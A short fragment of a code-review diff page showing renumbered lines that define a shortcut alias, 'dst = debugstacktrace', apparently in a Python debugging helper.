3768
3767
3769 # convenient shortcut
3768 # convenient shortcut
3770 dst = debugstacktrace
3769 dst = debugstacktrace
General Comments 0
You need to be logged in to leave comments. Login now